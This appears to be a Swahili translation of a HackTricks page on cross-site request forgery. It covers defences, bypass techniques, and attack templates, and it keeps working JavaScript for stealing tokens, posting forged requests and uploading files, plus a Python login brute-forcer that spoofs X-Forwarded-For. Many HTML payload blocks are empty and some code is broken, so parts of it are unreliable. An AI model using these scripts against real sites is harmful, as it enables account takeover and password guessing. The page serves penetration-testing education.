# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Maelezo ya Cross-Site Request Forgery (CSRF) **Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana katika programu za wavuti. Inawawezesha washambuliaji kufanya vitendo kwa niaba ya watumiaji wasiojua kwa kutumia vikao vyao vilivyothibitishwa. Shambulio linafanyika wakati mtumiaji, ambaye amejiandikisha kwenye jukwaa la mwathirika, anatembelea tovuti mbaya. Tovuti hii kisha inasababisha maombi kwa akaunti ya mwathirika kupitia mbinu kama vile kutekeleza JavaScript, kuwasilisha fomu, au kupakua picha. ### Masharti ya Shambulio la CSRF Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa: 1. **Tambua Kitendo Chenye Thamani**: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nywila ya mtumiaji, barua pepe, au kuongeza mamlaka. 2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili. 3. **Ukosefu wa Vigezo Visivyoweza Kutabirika**: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio. ### Ukaguzi wa Haraka Unaweza **kukamata ombi katika Burp** na kuangalia ulinzi wa CSRF na kujaribu kutoka kwa kivinjari unaweza kubofya **Nakili kama fetch** na kuangalia ombi:
### Kujilinda Dhidi ya CSRF Mbinu kadhaa zinaweza kutekelezwa ili kujilinda dhidi ya shambulio la CSRF: - [**Vidakuzi vya SameSite**](hacking-with-cookies/index.html#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. [Zaidi kuhusu vidakuzi vya SameSite](hacking-with-cookies/index.html#samesite). - [**Kushiriki rasilimali za asili tofauti**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. [Jifunze kuhusu CORS bypass](cors-bypass.md). - **Uthibitisho wa Mtumiaji**: Kuuliza nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji. - **Kuangalia Vichwa vya Referrer au Origin**: Kuangalia vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama: - Kutumia `http://mal.net?orig=http://example.com` (URL inamalizika na URL inayotegemewa) - Kutumia `http://example.com.mal.net` (URL inaanza na URL inayotegemewa) - **Kubadilisha Majina ya Vigezo**: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki. - **Tokens za CSRF**: Kuingiza token ya kipekee ya CSRF katika kila kikao na kuhitaji token hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuimarishwa kwa kutekeleza CORS. Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uaminifu wa programu za wavuti. ## Kupita Ulinzi ### Kutoka POST hadi GET Labda fomu unayotaka kutumia inPrepared kupeleka **ombii la POST lenye token ya CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapopeleka ombi la GET **token ya CSRF bado inathibitishwa**. ### Ukosefu wa token Programu zinaweza kutekeleza mekanismu ya **kuhakiki token** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitisho unakosekana kabisa wakati token haipo. Washambuliaji wanaweza kutumia hii kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitisho na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi. ### Token ya CSRF haijafungwa kwa kikao cha mtumiaji Programu **zisizofunga token za CSRF kwa vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa kwa kikao kilichozinduliwa. Hapa kuna jinsi washambuliaji wanavyotumia hii: 1. **Thibitisha** kwa kutumia akaunti yao wenyewe. 2. **Pata token halali ya CSRF** kutoka kwa hifadhi ya kimataifa. 3. **Tumia token hii** katika shambulio la CSRF dhidi ya mwathirika. Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia **mchakato wa uthibitisho wa token usiofaa** wa programu. ### Kupita Mbinu Ikiwa ombi linatumia **mbinu "ya ajabu"**, angalia ikiwa **uwezo wa kubadilisha mbinu** unafanya kazi. Kwa mfano, ikiwa inatumia mbinu ya **PUT** unaweza kujaribu **kutumia mbinu ya POST** na **kutuma**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Hii inaweza pia kufanya kazi kwa kutuma **parameter ya \_method ndani ya ombi la POST** au kutumia **vichwa**: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Kupita Token ya Kichwa Maalum Ikiwa ombi linaongeza **kichwa maalum** chenye **token** kwa ombi kama **mbinu ya ulinzi wa CSRF**, basi: - Jaribu ombi bila **Token ya Kichwa Maalum na pia kichwa.** - Jaribu ombi lenye **urefu sawa lakini token tofauti**. ### Token ya CSRF inathibitishwa na cookie Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na parameter ya ombi au kwa kuweka cookie ya CSRF na kuangalia ikiwa token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa token katika parameter ya ombi inalingana na thamani katika cookie. Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama udhaifu wa CRLF. Mshambuliaji anaweza kutumia hii kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF. Hapa kuna mfano wa jinsi shambulio linaweza kuundwa: ```html
``` > [!NOTE] > Kumbuka kwamba ikiwa **csrf token inahusiana na session cookie shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka mwathirika kwenye session yako, na hivyo utakuwa unajishambulia mwenyewe. ### Mabadiliko ya Aina ya Maudhui Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), ili **kuepuka** maombi ya **preflight** kutumia njia ya **POST** hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Aina ya Maudhui** iliyotumika hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Mfano (kutoka [hapa](https://brycec.me/posts/corctf_2021_challenges)) wa kutuma data ya JSON kama text/plain: ```html
``` ### Kupita Maombi ya Preflight kwa Data ya JSON Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui: 1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuona ikiwa backend inatumia data bila kujali Aina ya Maudhui. 2. **Badilisha Aina ya Maudhui**: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali `application/json`. 3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash ili kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Kupita Ukaguzi wa Referrer / Origin **Epuka kichwa cha Referrer** Programu zinaweza kuthibitisha kichwa cha 'Referer' tu wakati kiko. Ili kuzuia kivinjari kutuma kichwa hiki, tag ya meta ya HTML ifuatayo inaweza kutumika: ```xml ``` Hii inahakikisha kuwa kichwa cha 'Referer' hakijajumuishwa, huenda ikapita mchakato wa uthibitishaji katika baadhi ya programu. **Regexp bypasses** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Ili kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya vigezo unaweza kufanya: ```html
``` ### **HEAD method bypass** Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [kanuni ya chanzo ya Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanatolewa tu **kwa mpangilio wa GET lakini programu inatoa tu mwili wa jibu**. Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET**. ## **Mifano ya Kutekeleza** ### **Kutoa CSRF Token** Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). ### **GET kwa kutumia vitambulisho vya HTML** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Mengine ya vitambulisho vya HTML5 ambavyo vinaweza kutumika kutuma ombi la GET kiotomatiki ni: ```html ``` ### Ombi la GET la Fomu ```html
``` ### Ombi la POST ya Fomu ```html
``` ### Fomu ya POST ombi kupitia iframe ```html
``` ### **Ombi la POST la Ajax** ```html ``` ### multipart/form-data POST ombi ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST request v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Fomu ya POST ombi kutoka ndani ya iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Kununua CSRF Token na kutuma ombi la POST** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Kununua CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax** ```html
``` ### **Kununua CSRF Token na kutuma ombi la POST kwa kutumia iframe na fomu** ```html ``` ### **Kuwaibia token na kuutuma kwa kutumia iframes 2** ```html
``` ### **POSTKiba CSRF token na Ajax na tuma post na fomu** ```html
``` ### CSRF na Socket.IO ```html ``` ## CSRF Login Brute Force Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa cha X-Forwarded-For kujaribu kupita orodha ya IP iliyozuiwa): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Tools - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## References - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}